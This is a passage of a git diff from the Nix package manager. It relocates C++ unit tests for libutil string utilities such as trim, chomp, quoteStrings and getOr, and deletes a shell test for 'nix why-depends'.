2.0 GiB"); + ASSERT_EQ(renderSize(2100ULL * 1024 * 1024 * 1024, true), " 2.1 TiB"); +} + +/* ---------------------------------------------------------------------------- + * rewriteStrings + * --------------------------------------------------------------------------*/ + +TEST(rewriteStrings, emptyString) +{ + StringMap rewrites; + rewrites["this"] = "that"; + + ASSERT_EQ(rewriteStrings("", rewrites), ""); +} + +TEST(rewriteStrings, emptyRewrites) +{ + StringMap rewrites; + + ASSERT_EQ(rewriteStrings("this and that", rewrites), "this and that"); +} + +TEST(rewriteStrings, successfulRewrite) +{ + StringMap rewrites; + rewrites["this"] = "that"; + + ASSERT_EQ(rewriteStrings("this and that", rewrites), "that and that"); +} + +TEST(rewriteStrings, doesntOccur) +{ + StringMap rewrites; + rewrites["foo"] = "bar"; + + ASSERT_EQ(rewriteStrings("this and that", rewrites), "this and that"); +} + +/* ---------------------------------------------------------------------------- + * replaceStrings + * --------------------------------------------------------------------------*/ + +TEST(replaceStrings, emptyString) +{ + ASSERT_EQ(replaceStrings("", "this", "that"), ""); + ASSERT_EQ(replaceStrings("this and that", "", ""), "this and that"); +} + +TEST(replaceStrings, successfulReplace) +{ + ASSERT_EQ(replaceStrings("this and that", "this", "that"), "that and that"); +} + +TEST(replaceStrings, doesntOccur) +{ + ASSERT_EQ(replaceStrings("this and that", "foo", "bar"), "this and that"); +} + +/* ---------------------------------------------------------------------------- + * trim + * --------------------------------------------------------------------------*/ + +TEST(trim, emptyString) +{ + ASSERT_EQ(trim(""), ""); +} + +TEST(trim, removesWhitespace) +{ + ASSERT_EQ(trim("foo"), "foo"); + ASSERT_EQ(trim(" foo "), "foo"); + ASSERT_EQ(trim(" foo bar baz"), "foo bar baz"); + ASSERT_EQ(trim(" \t foo bar baz\n"), "foo bar baz"); +} + +/* ---------------------------------------------------------------------------- + * chomp + * --------------------------------------------------------------------------*/ + +TEST(chomp, emptyString) +{ + ASSERT_EQ(chomp(""), ""); +} + +TEST(chomp, removesWhitespace) +{ + ASSERT_EQ(chomp("foo"), "foo"); + ASSERT_EQ(chomp("foo "), "foo"); + ASSERT_EQ(chomp(" foo "), " foo"); + ASSERT_EQ(chomp(" foo bar baz "), " foo bar baz"); + ASSERT_EQ(chomp("\t foo bar baz\n"), "\t foo bar baz"); +} + +/* ---------------------------------------------------------------------------- + * quoteStrings + * --------------------------------------------------------------------------*/ + +TEST(quoteStrings, empty) +{ + Strings s = {}; + Strings expected = {}; + + ASSERT_EQ(quoteStrings(s), expected); +} + +TEST(quoteStrings, emptyStrings) +{ + Strings s = {"", "", ""}; + Strings expected = {"''", "''", "''"}; + ASSERT_EQ(quoteStrings(s), expected); +} + +TEST(quoteStrings, trivialQuote) +{ + Strings s = {"foo", "bar", "baz"}; + Strings expected = {"'foo'", "'bar'", "'baz'"}; + + ASSERT_EQ(quoteStrings(s), expected); +} + +TEST(quoteStrings, quotedStrings) +{ + Strings s = {"'foo'", "'bar'", "'baz'"}; + Strings expected = {"''foo''", "''bar''", "''baz''"}; + + ASSERT_EQ(quoteStrings(s), expected); +} + +/* ---------------------------------------------------------------------------- + * get + * --------------------------------------------------------------------------*/ + +TEST(get, emptyContainer) +{ + StringMap s = {}; + auto expected = nullptr; + + ASSERT_EQ(get(s, "one"), expected); +} + +TEST(get, getFromContainer) +{ + StringMap s; + s["one"] = "yi"; + s["two"] = "er"; + auto expected = "yi"; + + ASSERT_EQ(*get(s, "one"), expected); +} + +TEST(getOr, emptyContainer) +{ + StringMap s = {}; + auto expected = "yi"; + + ASSERT_EQ(getOr(s, "one", "yi"), expected); +} + +TEST(getOr, getFromContainer) +{ + StringMap s; + s["one"] = "yi"; + s["two"] = "er"; + auto expected = "yi"; + + ASSERT_EQ(getOr(s, "one", "nope"), expected); +} + +} // namespace nix diff --git a/src/libutil/tests/xml-writer.cc b/tests/unit/libutil/xml-writer.cc similarity index 100% rename from src/libutil/tests/xml-writer.cc rename to tests/unit/libutil/xml-writer.cc diff --git a/tests/why-depends.sh b/tests/why-depends.sh deleted file mode 100644 index c12941e76..000000000 --- a/tests/why-depends.sh +++ /dev/null @@ -1,21 +0,0 @@ -source common.sh - -clearStore - -cp ./dependencies.nix ./dependencies.builder0.sh ./config.nix $TEST_HOME - -cd $TEST_HOME - -nix-build ./dependencies.nix -A input0_drv -o dep -nix-build ./dependencies.nix -o toplevel - -FAST_WHY_DEPENDS_OUTPUT=$(nix why-depends ./toplevel ./dep) -PRECISE_WHY_DEPENDS_OUTPUT=$(nix why-depends ./toplevel ./dep --precise) - -# Both outputs should show that `input-2` is in the dependency chain -echo "$FAST_WHY_DEPENDS_OUTPUT" | grep -q input-2 -echo "$PRECISE_WHY_DEPENDS_OUTPUT" | grep -q input-2 - -# But only the “precise” one should refere to `reference-to-input-2` -echo "$FAST_WHY_DEPENDS_OUTPUT" | (! grep -q reference-to-input-2) -echo "$PRECISE_WHY_DEPENDS_OUTPUT" | grep -q reference-to-input-2